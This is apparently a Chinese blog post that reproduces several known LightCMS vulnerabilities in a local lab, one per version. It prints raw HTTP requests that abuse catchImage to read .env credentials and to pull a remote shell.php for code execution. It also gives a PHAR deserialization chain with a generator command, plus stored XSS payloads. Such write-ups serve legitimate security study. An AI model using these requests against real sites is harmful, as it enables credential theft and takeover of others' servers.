lightCMS漏洞复现

LightCMS漏洞复现记录
打某个比赛道心破碎了 所以自己复现一下
在本地进行测试 具体如下:
| 版本 | 后台入口 | 数据库 | 承载漏洞 |
|---|---|---|---|
| v1.3.4 | http://127.0.0.1:8093/admin/login | lightcms134 | CVE-2021-3355 存储型 XSS |
| v1.3.5 | http://127.0.0.1:8091/admin/login | lightcms135 | CVE-2021-27112 任意文件读 + 上传 RCE |
| v1.3.7 | http://127.0.0.1:8092/admin/login | lightcms137 | CVE-2023-27060 PHAR 反序列化 RCE |
| v1.3.11 | http://127.0.0.1:8090/admin/login | lightcms | CVE-2022-33009 PDF XSS / 正文存储型 XSS |
漏洞复现
1.后台弱口令
用户名 admin,密码 admin
2.【v1.3.4/1.3.5】 任意文件读取 → 数据库管理员凭据
漏洞代码(app/Http/Controllers/Admin/NEditorController.php):
public function catchImage(Request $request){ $files = (array) $request->post('file'); foreach ($files as $v) { $extention = pathinfo(parse_url($v, PHP_URL_PATH), PATHINFO_EXTENSION); $path = date('Ym') . '/' . md5($v) . '.' . ($extention == '' ? 'jpg' : $extention); Storage::disk(config('light.neditor.disk')) ->put($path, file_get_contents($v)); // ← 用户可控 URL,任意协议 }}三个缺陷叠加:file_get_contents 不做协议/地址校验、落盘后缀取自 URL、落盘目录 public/upload/image 在 Web 根下。
过程:
- 登录后拿到Cookie发包:
POST /admin/neditor/serve/catchImage HTTP/1.1Host: 127.0.0.1:8091Content-Type: application/x-www-form-urlencodedCookie: <登录后的 Cookie>
file[]=file:///F:/lightCMS/range/v135/.env
看到响应 访问这个url 随后访问

看到数据库名称密码

并且可用
3. 【v1.3.4/1.3.5】 任意文件上传 → 远程代码执行
原理类似上面那个漏洞 这次让服务器去下载一个 .php,它就会以 .php 落盘到
Web 目录,直接访问即执行
写个马 在本地起个服务 公网同理


随后访问即可
POST /admin/neditor/serve/catchImage HTTP/1.1Host: 127.0.0.1:8091Content-Type: application/x-www-form-urlencodedCookie: <登录后的 Cookie>
file[]=http://127.0.0.1:9000/shell.php
访问给出的url

成功
4.【v1.3.7】PHAR 反序列化 → RCE
原理一句话:fetchImageFile() 把 curl 抓回的内容交给 Image::make($data);
Intervention Image 的 isBinary() 用 finfo_buffer 判定纯 ASCII 为「非二进制」,
于是落到 isUrl(),而 filter_var($data, FILTER_VALIDATE_URL) 放行 phar://,
最终 initFromUrl() 执行 file_get_contents('phar://...') → 触发 PHAR metadata 反序列化。
POP 链(Laravel 6.x):
PendingBroadcast::__destruct() → Bus\Dispatcher::dispatch($event) → dispatchToQueue() // BroadcastEvent implements ShouldQueue → call_user_func($queueResolver, $connection) // = system('<命令>')过程
准备一个恶意phar
$php = "D:\phpstudy_pro\Extensions\php\php7.4.3nts\php.exe"$cmd = 'cmd.exe /c whoami > F:\lightCMS\pentest\phar_rce_137.txt 2>&1'$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))& $php -d phar.readonly=0 "F:\lightCMS\pentest\phar_gen.php" "F:\lightCMS\range\v137" $b64 "F:\lightCMS\pentest\poc.gif"输出确认 finfo mime : image/gif(stub 前置了 GIF89a,用来骗过图片校验)
cmd里的命令可以自行替换
随后上传这个phar
可以看到


响应是 {"list":[]}
5.【v1.3.11】存储型 XSS —— 文章正文原样输出
步骤
resources/views/front/content/show.blade.php:83
{!! $content->content !!} <!-- 正文未转义 -->步骤
直接在后台的编辑器里打会被吃掉 <script> 所以这里抓包后操作
正文内容:
<script>alert('stored-xss')</script><img src=x onerror=alert(1)>
新增后访问文章

6.【v1.3.4】CVE-2021-3355 敏感词管理存储型 XSS
v1.3.5 / v1.3.7 / v1.3.11 已用 htmlspecialchars 转义
漏洞点:SensitiveWordRepository::list() 未调用 xssFilter(),
noun/verb/exclusive 原样进入 JSON 列表接口,前端 layui table 按 HTML 渲染单元格
步骤
1.打开 /admin/SensitiveWords/create,在专有词(exclusive) 填:
</span><img src=1 onerror=alert(1) /><span>
2.提交后打开 /admin/SensitiveWords → 弹窗

支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或打赏支持!















